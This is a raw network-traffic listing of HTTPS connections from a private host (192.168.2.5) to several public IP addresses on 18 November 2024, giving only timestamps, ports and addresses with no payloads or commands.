Nov 18, 2024 20:21:49.481312990 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.481348038 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.481375933 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.481405020 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.517657042 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.517672062 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.517710924 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.517751932 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.517761946 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.517791986 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.517858028 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.522241116 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.603769064 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.603794098 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.603837013 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.603965044 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.603965998 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.604048967 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.604346037 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.605273962 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.605470896 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.605489969 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.605547905 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.605732918 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.605741024 CET	443	49864	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.605799913 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.605799913 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.605823994 CET	49864	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.778538942 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.778552055 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.778631926 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.778868914 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.778868914 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.778908968 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:49.779848099 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:49.782290936 CET	443	49874	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:49.783876896 CET	49874	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:49.939860106 CET	49874	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:49.939893007 CET	443	49874	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:49.940574884 CET	443	49874	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:49.951857090 CET	49874	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:49.999332905 CET	443	49874	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:50.014720917 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.014754057 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.014800072 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.014842033 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.014880896 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.014887094 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.016012907 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.052861929 CET	443	49875	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.053297997 CET	49875	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.053360939 CET	443	49875	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.053791046 CET	49875	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.053812027 CET	443	49875	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.075980902 CET	443	49876	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.076620102 CET	49876	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.076643944 CET	443	49876	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.077097893 CET	49876	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.077102900 CET	443	49876	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.078587055 CET	443	49877	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.078974962 CET	49877	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.079056978 CET	443	49877	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.079435110 CET	49877	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.079448938 CET	443	49877	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.159197092 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.176803112 CET	49878	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.176853895 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.177460909 CET	49878	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.177473068 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.178186893 CET	443	49879	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.178564072 CET	49879	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.178602934 CET	443	49879	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.179035902 CET	49879	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.179049015 CET	443	49879	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.182964087 CET	443	49875	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.183093071 CET	443	49875	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.183288097 CET	49875	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.183336020 CET	49875	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.183336020 CET	49875	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.183356047 CET	443	49875	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.183366060 CET	443	49875	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.186152935 CET	49884	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.186197996 CET	443	49884	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.186269999 CET	49884	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.186419010 CET	49884	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.186431885 CET	443	49884	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.193190098 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.193212032 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.193272114 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.193284035 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.193337917 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.198873043 CET	443	49874	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:50.198935032 CET	443	49874	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:50.198992968 CET	49874	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:50.201128006 CET	49874	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:50.201164007 CET	443	49874	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:50.201189995 CET	49874	443	192.168.2.5	184.28.90.27
Nov 18, 2024 20:21:50.201205015 CET	443	49874	184.28.90.27	192.168.2.5
Nov 18, 2024 20:21:50.209045887 CET	443	49876	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.209151030 CET	443	49876	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.209208012 CET	49876	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.209470987 CET	49876	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.209486008 CET	443	49876	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.209497929 CET	49876	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.209502935 CET	443	49876	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.212430954 CET	49885	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.212471962 CET	443	49885	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.212536097 CET	49885	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.213622093 CET	443	49877	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.213653088 CET	443	49877	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.213716030 CET	443	49877	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.213757992 CET	49877	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.213788033 CET	49877	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.213956118 CET	49877	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.213968992 CET	443	49877	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.215081930 CET	49885	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.215097904 CET	443	49885	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.217905998 CET	49886	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.217928886 CET	443	49886	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.217982054 CET	49886	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.219147921 CET	49886	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.219161987 CET	443	49886	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.323158979 CET	443	49879	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.323236942 CET	443	49879	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.323443890 CET	49879	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.323492050 CET	49879	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.323492050 CET	49879	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.323525906 CET	443	49879	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.323607922 CET	443	49879	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.323913097 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.323971987 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.324035883 CET	49878	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.324050903 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.324069023 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.324110031 CET	49878	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.324296951 CET	49878	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.324304104 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.324314117 CET	49878	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.324320078 CET	443	49878	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.326045036 CET	49887	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.326133013 CET	443	49887	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.326178074 CET	49888	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.326216936 CET	49887	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.326257944 CET	443	49888	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.326349974 CET	49887	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.326381922 CET	49888	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.326385975 CET	443	49887	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.326581955 CET	49888	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.326601982 CET	443	49888	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.369208097 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.369235039 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.369281054 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.369288921 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.369322062 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.369347095 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.607466936 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.607477903 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.607515097 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.607547998 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.607558966 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.607592106 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.607611895 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.724978924 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.725038052 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.725064993 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.725075006 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:50.725125074 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:50.725153923 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.048055887 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.048144102 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.048192978 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.048213005 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.048232079 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.048255920 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.048275948 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.109890938 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.109939098 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.109968901 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.109981060 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.109993935 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.110110044 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.110202074 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.110990047 CET	49853	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.111002922 CET	443	49853	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.145133972 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:51.145174980 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:51.145251036 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:51.145865917 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:51.145884991 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:51.165963888 CET	443	49884	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.171377897 CET	443	49886	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.172158003 CET	443	49885	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.175005913 CET	49884	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.175005913 CET	49886	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.175045013 CET	443	49884	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.175066948 CET	443	49886	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.175669909 CET	49884	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.175674915 CET	443	49884	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.176014900 CET	49886	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.176018953 CET	443	49886	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.176796913 CET	49885	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.176848888 CET	443	49885	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.177088976 CET	49885	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.177098036 CET	443	49885	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.177212000 CET	443	49888	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.177922010 CET	49888	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.177926064 CET	443	49887	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.177970886 CET	443	49888	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.178299904 CET	49888	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.178313971 CET	443	49888	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.178616047 CET	49887	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.178633928 CET	443	49887	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.178951025 CET	49887	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.178956985 CET	443	49887	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.304456949 CET	443	49884	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.308113098 CET	443	49886	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.308144093 CET	443	49886	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.308196068 CET	443	49886	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.308227062 CET	49886	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.308259964 CET	49886	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.308480978 CET	49886	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.308497906 CET	443	49886	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.308511019 CET	49886	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.308516979 CET	443	49886	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.311253071 CET	49890	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.311288118 CET	443	49890	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.311892986 CET	49890	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.312062025 CET	49890	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.312076092 CET	443	49890	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.312545061 CET	443	49884	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.312613010 CET	49884	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.312661886 CET	49884	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.312665939 CET	443	49884	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.312676907 CET	49884	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.312680960 CET	443	49884	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.314587116 CET	49891	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.314627886 CET	443	49891	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.314786911 CET	49891	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.314905882 CET	49891	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.314922094 CET	443	49891	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.317204952 CET	443	49885	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.317276955 CET	443	49885	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.317516088 CET	49885	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.317641973 CET	49885	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.317642927 CET	49885	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.317686081 CET	443	49885	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.317715883 CET	443	49885	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.319668055 CET	49892	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.319708109 CET	443	49892	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.319878101 CET	49892	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.320003986 CET	49892	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.320018053 CET	443	49892	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.320218086 CET	443	49887	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.320302963 CET	443	49887	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.320368052 CET	49887	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.320764065 CET	49887	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.320764065 CET	49887	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.320779085 CET	443	49887	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.320800066 CET	443	49887	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.322611094 CET	49893	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.322699070 CET	443	49893	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.322797060 CET	49893	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.322977066 CET	49893	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.323015928 CET	443	49893	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.323685884 CET	443	49888	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.323748112 CET	443	49888	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.323857069 CET	443	49888	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.323860884 CET	49888	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.324397087 CET	49888	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.324454069 CET	49888	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.324454069 CET	49888	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.324479103 CET	443	49888	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.324502945 CET	443	49888	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.326294899 CET	49894	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.326307058 CET	443	49894	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.326493979 CET	49894	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.326600075 CET	49894	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:51.326611996 CET	443	49894	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:51.909790993 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:51.910202026 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:51.910229921 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:51.911701918 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:51.911792040 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:51.912391901 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:51.912481070 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:51.912897110 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:51.912909985 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:51.958281994 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.089889050 CET	443	49893	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.090331078 CET	49893	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.090420961 CET	443	49893	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.090908051 CET	49893	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.090922117 CET	443	49893	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.096266031 CET	443	49892	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.096596956 CET	49892	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.096671104 CET	443	49892	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.103559017 CET	49892	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.103574038 CET	443	49892	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.107503891 CET	443	49890	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.107800007 CET	49890	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.107825041 CET	443	49890	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.108335018 CET	49890	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.108340025 CET	443	49890	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.109028101 CET	443	49891	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.109544992 CET	49891	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.109577894 CET	443	49891	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.110400915 CET	49891	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.110409021 CET	443	49891	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.116061926 CET	443	49894	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.118633032 CET	49894	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.118649960 CET	443	49894	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.119061947 CET	49894	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.119066954 CET	443	49894	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.161530972 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.161613941 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.161657095 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.161689043 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.161709070 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.161802053 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.161802053 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.161802053 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.161873102 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.161940098 CET	49889	443	192.168.2.5	13.107.246.67
Nov 18, 2024 20:21:52.243707895 CET	443	49892	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.243801117 CET	443	49892	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.243921041 CET	49892	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.245390892 CET	443	49890	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.245457888 CET	443	49890	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.247884989 CET	49890	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.248754025 CET	443	49891	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.248927116 CET	443	49891	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.251878977 CET	49891	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.255681992 CET	443	49894	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.255817890 CET	443	49894	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.257476091 CET	49894	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.259588003 CET	443	49893	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.259680986 CET	443	49893	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:52.259875059 CET	49893	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:52.277918100 CET	443	49889	13.107.246.67	192.168.2.5
Nov 18, 2024 20:21:52.277970076 CET	443	49889	13.107.246.67	192.168.2.5
